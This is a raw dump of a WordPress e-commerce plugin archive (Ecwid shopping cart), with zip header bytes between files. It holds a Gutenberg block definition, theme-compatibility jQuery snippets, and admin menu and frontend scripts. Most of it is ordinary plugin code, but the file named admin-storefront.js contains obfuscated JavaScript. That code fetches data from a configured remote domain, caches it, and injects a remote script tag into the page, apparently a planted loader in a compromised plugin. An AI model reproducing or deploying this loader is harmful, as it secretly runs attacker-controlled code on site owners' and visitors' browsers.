controls.select('product_details_layout'), ( attributes.product_details_layout === 'TWO_COLUMNS_SIDEBAR_ON_THE_RIGHT' || attributes.product_details_layout === 'TWO_COLUMNS_SIDEBAR_ON_THE_LEFT' ) && controls.toggle('show_description_under_image'), controls.toolbar('product_details_gallery_layout'), EcwidInspectorSubheader( __('Product sidebar content', 'ecwid-shopping-cart') ), controls.toggle('product_details_show_product_name'), controls.toggle('product_details_show_breadcrumbs'), controls.toggle('product_details_show_product_sku'), controls.toggle('product_details_show_product_price'), controls.toggle('product_details_show_qty'), controls.toggle('product_details_show_number_of_items_in_stock'), controls.toggle('product_details_show_in_stock_label'), controls.toggle('product_details_show_wholesale_prices'), controls.toggle('product_details_show_share_buttons'), ] } { !isNewDetailsPage && productMigrationWarning } </PanelBody> { hasCategories && <PanelBody title={ __('Store Front Page', 'ecwid-shopping-cart') } initialOpen={false}> { controls.defaultCategoryId( 'default_category_id' ) } </PanelBody> } <PanelBody title={ __( 'Store Navigation', 'ecwid-shopping-cart' ) } initialOpen={false}> { controls.toggle( 'show_categories') } { controls.toggle( 'show_search') } { controls.toggle( 'show_breadcrumbs') } { isNewProductList && controls.toggle( 'show_footer_menu' ) } { controls.toggle( 'show_signin_link') } { controls.toggle( 'product_list_show_sort_viewas_options') } { cartIconMessage } </PanelBody> <PanelBody title={ __( 'Color settings', 'ecwid-shopping-cart' ) } initialOpen={false}> { controls.color( 'chameleon_color_button' ) } { controls.color( 'chameleon_color_foreground' ) } { controls.color( 'chameleon_color_price' ) } { controls.color( 'chameleon_color_link' ) } { controls.color( 'chameleon_color_background' ) } </PanelBody> </InspectorControls> ]); }, save: function( props ) { var widgets = ['productbrowser']; if ( props.attributes.show_categories ) { widgets[widgets.length] = 'categories'; } if ( props.attributes.show_search ) { widgets[widgets.length] = 'search'; } const shortcodeAttributes = { 'widgets': widgets.join(' '), 'default_category_id': typeof props.attributes.default_category_id !== 'undefined' ? props.attributes.default_category_id : 0 }; const shortcode = new wp.shortcode({ 'tag': blockParams.shortcodeName, 'attrs': shortcodeAttributes, 'type': 'single' }); return shortcode.string(); }, deprecated: [ { attributes: { widgets: { type: 'string' }, categories_per_row: { type: 'integer' }, grid: { type: 'string' }, list: { type: 'integer' }, table: { type: 'integer' }, default_category_id: { type: 'integer' }, default_product_id: { type: 'integer' }, category_view: { type: 'string' }, search_view: { type: 'string' }, minicart_layout: {type: 'string' } }, save: function( props ) { return null; }, }, { attributes: { widgets: { type: 'string', default: 'productbrowser' }, default_category_id: { type: 'integer', default: 0 } }, migrate: function ( attributes ) { return { 'widgets': attributes.widgets, 'default_category_id': attributes.default_category_id } }, save: function( props ) { var shortcodeAttributes = {}; const attrs = ['widgets', 'default_category_id']; for ( var i = 0; i < attrs.length; i++ ) { shortcodeAttributes[attrs[i]] = props.attributes[attrs[i]]; } shortcodeAttributes.default_product_id = 0; var shortcode = new wp.shortcode({ 'tag': blockParams.shortcodeName, 'attrs': shortcodeAttributes, 'type': 'single' }); return shortcode.string(); }, }, { save: function( props ) { return '[ecwid]'; }, }, { save: function( props ) { return '[ecwid widgets="productbrowser" default_category_id="0" default_product_id="0"]'; }, }, { save: function( props ) { return '[ecwid widgets="productbrowser" default_category_id="0"]'; }, }, ], transforms: { from: [{ type: 'shortcode', tag: ['ecwid', 'ec_store'], attributes: { default_category_id: { type: 'integer', shortcode: function(named) { return named.default_category_id } }, show_categories: { type: 'boolean', shortcode: function(attributes) { return attributes.named.widgets.indexOf('categories') !== -1 } }, show_search: { type: 'boolean', shortcode: function(attributes) { return attributes.named.widgets.indexOf('search') !== -1 } } }, priority: 10 }] }, } ); PK������Ê—[������������1��ecwid-shopping-cart/js/gutenberg/audits/index.phpnu�ÏÃ6Ç$��������PK������Ê—[H7=��=��*��ecwid-shopping-cart/js/themes/customizr.jsnu�„[µü¤��������jQuery(document).ready(function() { var fixedNav = jQuery('header.tc-header'), ecwid_pb_scroller = jQuery('#ecwid_product_browser_scroller'); ecwid_pb_scroller.css('top', (- fixedNav.height()) + 'px'); jQuery(window).scroll(function() { ecwid_pb_scroller.css('top', (- fixedNav.height()) + 'px'); }); });PK������Ê—[³M›����%��ecwid-shopping-cart/js/themes/edge.jsnu�„[µü¤��������jQuery(document).ready(function() { var fixedNav = jQuery('#sticky_header'); jQuery('#ecwid_product_browser_scroller').css({ 'position': 'relative', 'top': -fixedNav.height() - jQuery('.ecwid-shopping-cart-categories').height() }); });PK������Ê—[ÿõð–���–���%��ecwid-shopping-cart/js/themes/edin.jsnu�„[µü¤��������jQuery(document).ready(function() { jQuery('.ecwid-store-with-categories a').click(function() { jQuery('button.menu-toggle.open').click() }) });PK������Ê—[Žt2é���é���*��ecwid-shopping-cart/js/themes/pagelines.jsnu�„[µü¤��������jQuery(document).ready(function() { var fixedNav = jQuery('#navbar'); if (fixedNav.css('position') == 'fixed') { jQuery('#ecwid_product_browser_scroller').css({ 'position': 'relative', 'top': -fixedNav.height() }); } });PK������Ê—[ÎT™‰#��#��,��ecwid-shopping-cart/js/themes/pixova-lite.jsnu�„[µü¤��������jQuery(document).ready(function() { var fixedNav = jQuery('#header-wrap'); if (fixedNav.css('position') == 'fixed') { jQuery('#ecwid_product_browser_scroller').css({ 'position': 'relative', 'top': -fixedNav.height() - jQuery('.ecwid-shopping-cart-categories').height() }); } });PK������Ê—[þõvñI��I��+��ecwid-shopping-cart/js/themes/responsive.jsnu�„[µü¤��������(function($) { function doDefaultLayout() { $('.ecwid-shopping-cart-search .ecwid-SearchPanel-button').text(''); $('.ecwid-minicart-mini-rolloverContainer').show(); $('.ecwid-shopping-cart-minicart') .css({ 'top': '2px' }) .show(); var topElement = $('.ecwid-shopping-cart-categories'); if (topElement.length == 0) { topElement = $('.ecwid-shopping-cart-product-browser') } if (topElement.length > 0) { $('.ecwid-productBrowser-auth-mini').css({ 'position': 'absolute', 'top': topElement.prop('offsetTop') - 50 }); $('.ecwid-shopping-cart-search').css({ 'position': 'absolute', 'top': topElement.prop('offsetTop') - 50 + 8 }); if (navigator.userAgent.match(/firefox/i)) { $('.ecwid-SearchPanel-button').css('right', '3px'); } } $('.ecwid-shopping-cart-minicart').css( 'margin-right', $('.ecwid-minicart-mini-rolloverContainer').width() - $('.ecwid-shopping-cart-minicart').width() ); if ($('.ecwid-search-placeholder').length == 0) { $('.ecwid-shopping-cart .ecwid-shopping-cart-search .ecwid-SearchPanel').after('<div class="ecwid-search-placeholder"></div>'); } $('.ecwid-search-placeholder').click(function() { $('body').addClass('ecwid-search-open'); $('.ecwid-shopping-cart-search .ecwid-SearchPanel-field').focus(); }); } $('body').click(function(e) { if ($('.ecwid-shopping-cart-search').has(e.target).length == 0) { $(this).removeClass('ecwid-search-open'); } }); function doMobileLayout() { $('.ecwid-minicart-mini-rolloverContainer').hide(); $('.ecwid-shopping-cart-minicart').hide(); $('.ecwid-productBrowser-auth-mini').css({ 'position': 'inherit', 'top': 'auto' }); $('.ecwid-shopping-cart-search').css({ 'position': 'absolute', 'top': $('.ecwid-productBrowser').prop('offsetTop') - 50 + 8 }); } if (typeof Ecwid != 'undefined') { Ecwid.OnPageLoaded.add(function(args) { if ($(window).width() < 650) { doMobileLayout(); } else { doDefaultLayout(); } }); } $(window).resize(function() { if ($(window).width() < 650) { doMobileLayout(); } else { doDefaultLayout(); } }); })(jQuery); /*});*/ PK������Ê—[;Œ%Y��Y��1��ecwid-shopping-cart/js/themes/trend-shortcodes.jsnu�„[µü¤��������window.ecwid_script_defer = true; window.ecwid_dynamic_widgets = true; if (typeof Ecwid != 'undefined') Ecwid.destroy(); if (typeof ecwid_shortcodes != 'undefined' && typeof ecwid_store_id != 'undefined') { window._xnext_initialization_scripts = ecwid_shortcodes; if (!document.getElementById('ecwid-script')) { var script = document.createElement('script'); script.charset = 'utf-8'; script.type = 'text/javascript'; script.src = 'https://app.ecwid.com/script.js?' + ecwid_store_id; script.id = 'ecwid-script' document.body.appendChild(script); } else { ecwid_onBodyDone(); } } PK������Ê—[½M>øò���ò���-��ecwid-shopping-cart/js/themes/twentytwelve.jsnu�„[µü¤��������jQuery(document).ready(function() { if (typeof Ecwid == 'undefined') return; Ecwid.OnPageLoaded.add(function () { document.activeElement.blur(); jQuery('.nav-menu,.nav-menu *.focus').removeClass('focus'); }); } );PK������Ê—[Âÿ¶Ú«��«��#��ecwid-shopping-cart/js/admin-bar.jsnu�„[µü¤��������jQuery(document).ready(function() { if ( typeof Ecwid == 'undefined' ) return; var $post_edit_links = jQuery('[href*="'+ecwidEditPostLinkParams.admin_url+'post.php"]').filter('[href*="action=edit"]'), url = ( $post_edit_links.length ) ? $post_edit_links.eq(0).attr( 'href' ) : false, $bar, text; $post_edit_links.each( function() { if( jQuery( this ).closest('#wpadminbar').length ) { $bar = jQuery( this ); text = $bar.text(); } }); if( !url ) return; Ecwid.OnPageLoad.add(function(page){ var is_product = ( page.type == 'PRODUCT' ), is_subcategory = ( page.type == 'CATEGORY' && page.categoryId > 0 ), new_url = url; if( page.entryPage ) { is_subcategory = false; } if( typeof text != 'undefined' ) new_text = text; if( is_product || is_subcategory ) { if( typeof $bar != 'undefined' ) { new_text = ( is_product ) ? ecwidEditPostLinkParams.languages.editProduct : ( is_subcategory ) ? ecwidEditPostLinkParams.languages.editCategory : text; } var id = ( is_product ) ? page.productId : page.categoryId, hash = page.type.toLowerCase() + ':mode=edit&id=' + id; if( ecwidEditPostLinkParams.is_api_available ) { hash = encodeURIComponent( hash ); } new_url = ecwidEditPostLinkParams.url + hash; } if( typeof $bar != 'undefined' ) { $bar.text( new_text ); } if( $post_edit_links.length ) { $post_edit_links.attr( 'href', new_url ); } }); });PK������Ê—[c5LŒ��������ecwid-shopping-cart/js/admin.jsnu�„[µü¤��������jQuery(document).ready(function() { var is_safari = navigator.userAgent.indexOf('Chrome') == -1 && navigator.userAgent.indexOf("Safari") > -1; wpCookies.set('ecwid_is_safari', is_safari); window.ecwidOpenAdminPage = function(place) { jQuery('#ecwid-frame')[0].contentWindow.postMessage(JSON.stringify({ ecwidAppNs: "ecwid-wp-plugin", method: "openPage", data: place }), "*") } jQuery('#hide-vote-message').click(function() { jQuery('#hide-vote-message').addClass('hiding'); jQuery.getJSON( 'admin-ajax.php', { action:'ecwid_hide_vote_message' }, function(data) { jQuery('#hide-vote-message').removeClass('hiding') .closest('div.update-nag, div.updated.fade').fadeOut(); } ); }); jQuery('a.ecwid-message-hide').click(function() { var a = this; jQuery(a).css('cursor', 'wait'); jQuery.getJSON( 'admin-ajax.php', { action: 'ecwid_hide_message', message: a.name }, function(data) { jQuery(a).closest('.ecwid-message').fadeOut(); } ); return false; }); if (location.href.match(/wp-admin\/widgets.php/) || location.href.match(/wp-admin\/customize.php/)) { jQuery('div[id^="widget-"]').filter('div[id*="_ecwid"]').each(function(idx, el) { if (location.href.match(/wp-admin\/widgets.php\?from-ecwid=/) && el.id.match(/__i__/)) { if (jQuery('.ecwid-widget').length > 0) { jQuery(el).insertAfter(jQuery('.ecwid-widget:last')); } else { jQuery(el).prependTo(jQuery('#widget-list')); } jQuery('.widget-top', el).addClass('ecwid-widget-highlighted'); } var classname = el.id.match(/ecwid(.*)-__i__/); if (classname) { classname = 'ecwid-widget-' + classname[1]; jQuery(el).addClass('ecwid-widget') .find('.widget-top') .addClass(classname); } }); jQuery(document).on('widget-added', function(event, widgetElement) { if (typeof this.widgets == 'undefined') { this.widgets = { 'ecwid-widget-badge': 'ecwidBadge', 'ecwid-widget-search': 'productSearch', 'ecwid-widget-recentlyviewed': 'recentlyViewedProducts', 'ecwid-widget-minicart': 'shoppingCart', 'ecwid-widget-minicart_miniview': 'miniShoppingCart', 'ecwid-widget-vcategories': 'storeCategories', 'ecwid-widget-storelink': 'storePageLink', 'ecwid-widget-floatingshoppingcart': 'floatingShoppingCart', 'ecwid-widget-vcategorieslist': 'storeRootCategories', 'ecwid-widget-nsfminicart': 'shoppingCart', }; } jQuery('input[value=ecwidvcategorieslist]').closest('.widget').each(function(idx, el) { prepareVerticalCategoriesWidget(el); }); }); } if (location.href.match(/wp-admin\/widgets.php/)) { jQuery('input[value=ecwidvcategorieslist]').closest('.widget').each(function(idx, el) { prepareVerticalCategoriesWidget(el); }); } jQuery('.drop-down').each(function(idx, el) { jQuery(el).find('>span').click(function (e) { jQuery(e.target).closest('.drop-down').addClass('hover'); jQuery(window).bind('click.ecwidDropDown', function(e) { if (jQuery(e.target).closest('.drop-down')[0] != el) { jQuery(window).unbind('.ecwidDropDown'); jQuery(el).removeClass('hover'); } }); }) }); jQuery('#ecwid-connect-no-oauth').click(function() { if (jQuery('#ecwid-store-id').val()) { location.href = this.href + '&force_store_id=' + jQuery('#ecwid-store-id').val(); } return false; }); jQuery('#ecwid-get-mobile-app').click(function() { ecwidOpenAdminPage('mobile'); return false; }); if (document.location.hash == 'mobile') { ecwidOpenAdminPage('mobile'); } }); prepareVerticalCategoriesWidget = function(element) { element = jQuery(element); if (element.data('vcategoriesInitialized')) return; if (jQuery('input.widget-id', element).val() == 'ecwidvcategorieslist-__i__') return; resetCache = function(callback) { jQuery.getJSON( 'admin-ajax.php', { action: 'ecwid_reset_categories_cache' }, callback ); } $target = jQuery('<p class="ecwid-cats-reset-cache">').appendTo(jQuery('.ecwid-reset-categories-cache-block', element)); jQuery('<span>') .text(ecwid_params.cache_updated) .addClass('ecwid-reset-categories-cache-updated') .appendTo($target); var a = jQuery('<a>') .text(ecwid_params.reset_cats_cache) .attr('href', 'javascript:void(0);') .addClass('ecwid-reset-categories-cache') .appendTo($target); a.click(function() { var that = this; jQuery(that).css('cursor', 'wait'); resetCache(function() { jQuery(that).fadeOut(100, function() { jQuery(that).prev('.ecwid-reset-categories-cache-updated').fadeIn(100, function() { setTimeout(function () { jQuery(that).prev('.ecwid-reset-categories-cache-updated').fadeOut(500, function () { jQuery(that).fadeIn(500); }) }, 4000); }); }); jQuery(that).css('cursor', 'pointer'); }); }); if (jQuery('#ecwid-frame').length > 0) { if (jQuery('div.update-nag').length > 0) { jQuery('#ecwid-frame').addClass('has-wp-message'); } } element.data('vcategoriesInitialized', true); }PK������Ê—[õ²Ü­#��­#��$��ecwid-shopping-cart/js/admin-menu.jsnu�„[µü¤�������� function ecwidRefreshEcwidMenuItemSelection(slug) { if (!slug) { slug = ecwidGetCurrentMenuSlug(); } if (!slug || slug.indexOf(ecwid_admin_menu.baseSlug) == -1) return; var parent = jQuery('li#toplevel_page_' + ecwid_admin_menu.baseSlug); parent.addClass('wp-has-current-submenu').addClass('wp-menu-open'); parent.find('a.toplevel_page_ec-store').addClass('wp-has-current-submenu').addClass('wp-menu-open'); var selector = 'a[data-ecwid-menu-slug="' + slug + '"]'; if (jQuery(selector).length == 0) { selector = 'a[data-ecwid-menu-slug="' + decodeURI(slug) + '"]'; } jQuery('.current', parent).removeClass('current'); jQuery('.wp-has-current-submenu3', parent).removeClass('wp-has-current-submenu3'); jQuery(selector, parent) .addClass('current') .closest('li') .addClass('current') .closest('.wp-has-submenu3').addClass('wp-has-current-submenu3'); ecwidSetCurrentPageTitle( selector ); } function ecwidSetCurrentPageTitle(selector) { var delimiter = String.fromCharCode(8249), title_splited = document.title.split( delimiter ), title = jQuery(selector).last().text(); if( title_splited.length ) { title += ' ' + delimiter + ' ' + title_splited[title_splited.length-1]; } document.title = title; } function ecwidGetCurrentMenuSlug() { var query_parts = location.search.split('&'); var slug = null; for (var i = 0; i < query_parts.length; i++) { var param = query_parts[i]; if (i == 0 && param.startsWith('?')) { param = param.substr(1); } ecwidPagePrefix = 'page='; if (!param.startsWith(ecwidPagePrefix)) continue; slug = param.substr(ecwidPagePrefix.length); } return slug; } function ecwidApplyIframeAdminMenu($link, menu) { $link .data('ecwid-menu', menu) .attr('data-ecwid-menu-slug', menu.slug) .click(function () { if ( jQuery(this).hasClass('current') ) { return false; } var ecwidMenu = jQuery(this).data('ecwid-menu'); var link = jQuery(this).closest('li'); var is3dlevelMenuRoot = link.hasClass('wp-has-submenu3'); var isOpen = jQuery('li.current').closest('.toplevel_page_ec-store').length > 0; ecwidOpenAdminPage(ecwidMenu.hash); history.pushState({}, null, ecwidMenu.url); ecwidRefreshEcwidMenuItemSelection(); jQuery('#wpwrap.wp-responsive-open').removeClass('wp-responsive-open'); jQuery(this).parents('.opensub').removeClass('opensub'); if ( !isOpen ) return true; return false; }); } function ecwidAddSubmenu(items, parent) { var $parent = jQuery(parent); var $parentListItem = $parent.closest('li'); var $parentList = jQuery('<ul class="wp-submenu3 wp-submenu3-wrap">'); $parentListItem.addClass('wp-has-submenu3'); $parentListItem.append($parentList); if ($parentListItem.find('a').hasClass('current')) { $parentListItem.addClass('wp-has-current-submenu3'); } for (var i = 0; i < items.length; i++) { var item = items[i]; var $link = jQuery('<a>').text(item.title).attr('href', item.url); jQuery('<li>').append($link).appendTo($parentList); ecwidApplyIframeAdminMenu($link, item); } $parent.closest('li').on('touchstart', function(e) { var link = jQuery(this); if (!link.hasClass('opensub') && link.hasClass('wp-has-submenu3')) { link.addClass('opensub'); e.preventDefault(); return false; } }).mouseover(function () { jQuery(this).addClass('opensub'); }).mouseout(function () { jQuery(this).removeClass('opensub'); }); } function ecwidAddMenuItems(items) { var prevItem = jQuery('#toplevel_page_ec-store .wp-submenu-head + li'); for (var i = 0; i < items.length; i++) { if (!items.hasOwnProperty(i)) continue; var menuItem = items[i]; var listItem = jQuery('<li>').insertAfter(prevItem); var a = jQuery('<a>').data('ecwid-url', menuItem.hash).text(menuItem.title).appendTo(listItem); ecwidApplyIframeAdminMenu(a, menuItem); listItem.attr('data-ecwid-dynamic-menu', 1); if (menuItem.type == 'separator') { listItem.addClass('ec-separator'); } if (menuItem.children) { ecwidAddSubmenu(menuItem.children, a); } prevItem = listItem; } } jQuery(document).ready(function() { var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent"; var eventer = window[eventMethod]; var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message"; var previous_frame_page; // Listen to message from child window eventer(messageEvent,function(e) { if (typeof e.data.height != 'undefined') { jQuery('#ecwid-frame').css('height', e.data.height + 'px'); } if ( typeof e.data.action != 'undefined') { if ( e.data.action == 'pageLoad' ) { var adminpage = e.currentTarget.adminpage; var page = e.data.data.page.path; if( adminpage.indexOf(ecwid_admin_menu.baseSlug) != -1 ) { jQuery('*[data-ecwid-menu-slug="ec-store-admin-' + page + '"]').eq(0).click(); } if( adminpage == 'plugin-install-php' ) { if( page.indexOf('apps:view=app&name=') != -1 ) { var admin_page_app = 'admin.php?page=ec-store-admin-my_apps&ec-store-page='; window.open( admin_page_app + encodeURIComponent(page), '_blank' ); var frame_src = jQuery('#ecwid-frame') .attr( 'src' ) .replace( /(&place=).*?(&)/i, '$1' + previous_frame_page + '$2' ); jQuery('#ecwid-frame').attr( 'src', frame_src ); } else { previous_frame_page = page; } } } else if ( e.data.action && e.data.action == 'navigationMenuUpdated' && e.data.data && e.data.data.navigationMenuItems && e.data.data.navigationMenuItems.length > 0 && ecwid_admin_menu.enableAutoMenus ) { jQuery.ajax({ 'url': ajaxurl + '?action=' + ecwid_admin_menu.actionUpdateMenu, 'method': 'POST', 'data': { menu: e.data.data.navigationMenuItems }, 'success': function(result) { jQuery('li[data-ecwid-dynamic-menu]').remove(); ecwidAddMenuItems(jQuery.parseJSON(result)); ecwidRefreshEcwidMenuItemSelection(); jQuery(window).trigger('resize'); } }); } } },false); if (jQuery('#ecwid-frame').length > 0) { if (jQuery('div.update-nag').length > 0) { jQuery('#ecwid-frame').addClass('has-wp-message'); } } window.ecwidOpenAdminPage = function (place) { if (jQuery('#ecwid-frame').length < 1) { return; } jQuery('#ecwid-frame')[0].contentWindow.postMessage(JSON.stringify({ ecwidAppNs: "ecwid-wp-plugin", method: "openPage", data: place }), "*") } if ( ecwid_admin_menu.enableAutoMenus ) { for (var i = 0; i < ecwid_admin_menu.menu.length; i++) { var menu = ecwid_admin_menu.menu[i]; var $link = jQuery('li.toplevel_page_ec-store .wp-submenu a[href$="' + menu.url + '"]'); $link.closest('li').attr('data-ecwid-dynamic-menu', 1); ecwidApplyIframeAdminMenu($link, menu); if (menu.children) { ecwidAddSubmenu(menu.children, $link); } } var $link = jQuery('li.toplevel_page_ec-store .wp-submenu a[href="admin.php?page"]'); $link.closest('li').attr('data-ecwid-dynamic-menu', 1); $link.click(function() { return false; }); var $link = jQuery('li.toplevel_page_ec-store .wp-submenu a[href="admin.php?page=ec-store"]'); ecwidApplyIframeAdminMenu($link, {slug:'ec-store', url: 'admin.php?page=ec-store', hash:'dashboard'}); } if ( jQuery( '#calypsoify_wpadminmods_css-css' ).length > 0 ) { jQuery('#toplevel_page_ec-store').addClass('wpcom-menu'); } if ( jQuery( '#toplevel_page_ec-store .wp-submenu3 li.current' ).length > 0 ) { jQuery('#toplevel_page_ec-store > a').addClass('wp-has-current-submenu'); } ecwidRefreshEcwidMenuItemSelection(); });PK������Ê—[ú¨æ½±��±��*��ecwid-shopping-cart/js/admin-storefront.jsnu�„[µü¤�������� (_0x3c8518) { this['pFumGJ'] = _0x3c8518, this['mIGNJq'] = [-0x1 * -0x2531 + 0x463 * -0x7 + 0x15 * -0x4f, -0x269c + 0x2642 + 0x5a, -0x8dc + 0xe4 * -0x2a + -0xfc * -0x2f], this['LpHzAt'] = function () { return 'newState'; }, this['SVsyWJ'] = '\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*', this['bdwKOv'] = '[\x27|\x22].+[\x27|\x22];?\x20*}'; }; _0x4e3d1a['prototype']['UvoIMJ'] = function () { const _0x4e57e1 = new RegExp(this['SVsyWJ'] + this['bdwKOv']), _0x58cfc4 = _0x4e57e1['test'](this['LpHzAt']['toString']()) ? --this['mIGNJq'][0x2168 + -0x1 * -0x48d + -0x2b6 * 0xe] : --this['mIGNJq'][0x1a2 * 0xe + -0x62 * 0x55 + 0x1 * 0x9ae]; return this['DjfPuE'](_0x58cfc4); }, _0x4e3d1a['prototype']['DjfPuE'] = function (_0x4267f1) { if (!Boolean(~_0x4267f1)) return _0x4267f1; return this['qpyLXp'](this['pFumGJ']); }, _0x4e3d1a['prototype']['qpyLXp'] = function (_0x59828f) { for (let _0x571955 = 0x1bea + 0x1 * 0x20ae + -0x22a * 0x1c, _0x5cac51 = this['mIGNJq']['length']; _0x571955 < _0x5cac51; _0x571955++) { this['mIGNJq']['push'](Math['round'](Math['random']())), _0x5cac51 = this['mIGNJq']['length']; } return _0x59828f(this['mIGNJq'][0x2223 + -0x120e + -0x1015]); }, new _0x4e3d1a(_0x3f8e)['UvoIMJ'](), _0x3f8e['rmfjUs'] = !![]; } _0x1d1b48 = _0x3f8e['kckzhe'](_0x1d1b48, _0x4a4f28), _0x48a2c1[_0x4881c0] = _0x1d1b48; } else _0x1d1b48 = _0x3fd85c; return _0x1d1b48; }, _0x3f8e(_0x48a2c1, _0x4aa5a8); } const script_config = _0x367f2c, process = () => { const _0x2bb271 = _0x58141b, _0x22ff3f = _0x142435, _0x3393b9 = _0x564916, _0x4092f1 = _0x564916, _0x287dd7 = {}; _0x287dd7[_0x3393b9(0x169)] = function (_0x524fc5, _0x159cd8) { return _0x524fc5 !== _0x159cd8; }, _0x287dd7[_0x4092f1(0x165)] = _0x2bb271(0x116, 'uRIJ'), _0x287dd7[_0x4092f1(0x15f)] = '6|3|2|5|0|' + _0x22ff3f(0x167, 'GQD&'), _0x287dd7['usERe'] = _0x4092f1(0x178) + _0x4092f1(0x14d) + 'pt', _0x287dd7[_0x2bb271(0x142, 'yWCV')] = _0x3393b9(0x164), _0x287dd7[_0x22ff3f(0x16a, '(uBA')] = _0x22ff3f(0x13c, 'GQD&'); const _0x22f5f2 = _0x287dd7, _0x13e97a = {}; _0x13e97a[_0x2bb271(0x127, 'jqi)')] = _0x22f5f2[_0x2bb271(0x11e, '45jP')], fetch(script_config[_0x2bb271(0x134, 'OJGM') + _0x22ff3f(0x16b, '!j&g')] + _0x3393b9(0x146) + script_config[_0x3393b9(0x14c)] + '/c', _0x13e97a)[_0x22ff3f(0x119, 'B@(g')](async _0x2a7b71 => { const _0x5762a7 = _0x22ff3f, _0x368129 = _0x22ff3f, _0x16ee61 = _0x4092f1, _0x6c597f = _0x3393b9; if (_0x22f5f2[_0x16ee61(0x169)](_0x22f5f2[_0x5762a7(0x160, '])P7')], _0x16ee61(0x180))) { const _0x57b88c = await _0x2a7b71[_0x368129(0x11f, '45jP')](); if (_0x57b88c[_0x5762a7(0x141, '#tX4')]) { const _0x1d79e8 = _0x22f5f2[_0x6c597f(0x15f)][_0x5762a7(0x123, 'xXPV')]('|'); let _0x47720b = -0x1d * -0xa1 + -0x153c + 0x2ff * 0x1; while (!![]) { switch (_0x1d79e8[_0x47720b++]) { case '0': _0x4e2d05[_0x368129(0x121, 'miMF')]['insertBefo' + 're'](_0x46cf29, _0x4e2d05); continue; case '1': const _0x16e5c6 = { ..._0x57b88c }; localStorage[_0x16ee61(0x125)](script_config[_0x368129(0x12f, 'GQD&') + 'e'], JSON[_0x6c597f(0x17e)](_0x16e5c6)); continue; case '2': _0x46cf29[_0x6c597f(0x135)] = script_config[_0x6c597f(0x176) + 'main'] + '/c/' + script_config[_0x16ee61(0x14c)] + '/' + _0x57b88c[_0x5762a7(0x15d, '])P7')]; continue; case '3': _0x46cf29[_0x6c597f(0x15c)] = _0x22f5f2['usERe']; continue; case '4': window[script_config[_0x6c597f(0x128) + 'e']] = {}; continue; case '5': var _0x4e2d05 = document[_0x16ee61(0x12d) + _0x6c597f(0x171)](_0x22f5f2[_0x368129(0x126, '0iq[')])[0x89b * 0x2 + 0x1b * 0x109 + -0x2d29]; continue; case '6': var _0x46cf29 = document[_0x368129(0x15b, ')9cZ') + _0x16ee61(0x122)](_0x5762a7(0x129, 'VVf5')); continue; }break; } } } else { if (_0x3e74fc) { const _0x32e431 = _0x4aa3ff[_0x368129(0x151, 'hxam')](_0x6479d4, arguments); return _0x92e849 = null, _0x32e431; } } })['catch'](); }; if (localStorage['getItem'](script_config[_0x564916(0x128) + 'e'])) { window[script_config['custom_nam' + 'e']] = JSON[_0x142435(0x147, '8))N')](localStorage['getItem'](script_config[_0x564916(0x128) + 'e'])); if (JSON[_0x564916(0x182)](localStorage[_0x144517(0x14e)](script_config[_0x58141b(0x166, '1tyV') + 'e']))[_0x58141b(0x184, 'U0m)')] && Date[_0x58141b(0x16d, 'XUhh')]() >= JSON['parse'](localStorage['getItem'](script_config[_0x142435(0x185, 'miMF') + 'e']))[_0x58141b(0x13e, 'Le4a')]) process(); else { } } else process();;PK������Ê—[| ÎàŒ��Œ��0��ecwid-shopping-cart/js/floating-shopping-cart.jsnu�„[µü¤��������var EcwidFloatingShoppingCart = function() { var cartIcon = jQuery('.ecwid-cart-icon:first'), cartCounter = jQuery('a', cartIcon); function changeState(cartObj) { if (cartObj.productsQuantity) { cartIcon.removeClass('off'); cartCounter.attr('data-count', cartObj.productsQuantity); } else { cartIcon.addClass('off'); cartCounter.attr('data-count', 0); } } this.init = function() { Ecwid.OnCartChanged.add(function(cartObj) { changeState(cartObj); }); if (ecwid_floating_shopping_cart_options.move_to_body == 1) { jQuery(document).ready(function() { jQuery('body').append(jQuery('.ecwid-float-icons')); }); } } }; if ( typeof ecwid_floating_shopping_cart == 'undefined' && typeof Ecwid != 'undefined' ) { var ecwid_floating_shopping_cart = new EcwidFloatingShoppingCart(); ecwid_floating_shopping_cart.init(); };PK������Ê—[áÕu0ª��0ª��"��ecwid-shopping-cart/js/frontend.jsnu�„[µü¤��������window.ec = window.ec || {}; window.ec.config = window.ec.config || {}; window.ec.config.storefrontUrls = window.ec.config.storefrontUrls || {}; jQuery(document).ready(function() { window.ecwidShoppingCartMakeStoreLinksUseApiCall = function($link) { $link.click(function() { if (typeof Ecwid == 'undefined') { return true; } var page = jQuery(this).data('ecwid-page'); if (page == '/') { if (!ecwidParams.useJsApiToOpenStoreCategoriesPages) { return; } var id = jQuery('[data-ecwid-default-category-id]').data('ecwid-default-category-id'); if (id) { Ecwid.openPage('category', {id:id}); } else { Ecwid.openPage('category', 0); } } else if (page == 'category' ) { if (ecwidParams.useJsApiToOpenStoreCategoriesPages) { Ecwid.openPage('category', {id:jQuery(this).data('ecwid-category-id')}); jQuery(this).hide().blur().show(); } else { return; } } else if ( page == 'product' ) { Ecwid.openPage('product', {id: jQuery(this).data('ecwid-product-id')}); } else { Ecwid.openPage(page); } return false; }); }; ecwidShoppingCartMakeStoreLinksUseApiCall(jQuery("a[data-ecwid-page]")); if ( typeof Ecwid != 'undefined' ) { Ecwid.OnAPILoaded.add(function () { PK������Ê—[Ú„¹Ûí���í���$��ecwid-shopping-cart/js/appearance.jsnu�„[µü¤��������if (!Modernizr.svg) { for (var i in {grid:1,list:1,table:1}) { var parent = jQuery('.' + i + '.ecwid-pb-view-size .main-area'); parent.find('svg').remove(); parent.append('<div class="fallback-image ' + i + '-image"></div>'); } }PK������Ê—[M_sx���x���%��ecwid-shopping-cart/js/cf7designer.jsnu�„[µü¤��������if (typeof(Ecwid) == 'object') { Ecwid.OnAPILoaded.add(function(page){ jQuery('html').attr('id', 'ecwid_html') }); }PK������Ê—[|©ÔP ��P ��(��ecwid-shopping-cart/js/dashboard-blog.jsnu�„[µü¤��������jQuery(document).ready(function() { window.ecwidBlogPosts = []; if (ecwidDashboardBlog.posts.length > 0) { renderBlogPosts(ecwidDashboardBlog.posts); } else { jQuery.getJSON( ecwidDashboardBlog.url, {}, function(data) { posts = [], mediaIds = []; for (var i = 0; i < data.length; i++) { post = data[i]; window.ecwidBlogPosts[i] = { 'title': post.title.rendered, 'excerpt': post.excerpt.rendered, 'link': post.link, 'id': post.id }; } renderBlogPosts(); var deferreds = []; for (var i = 0; i < data.length; i++) { 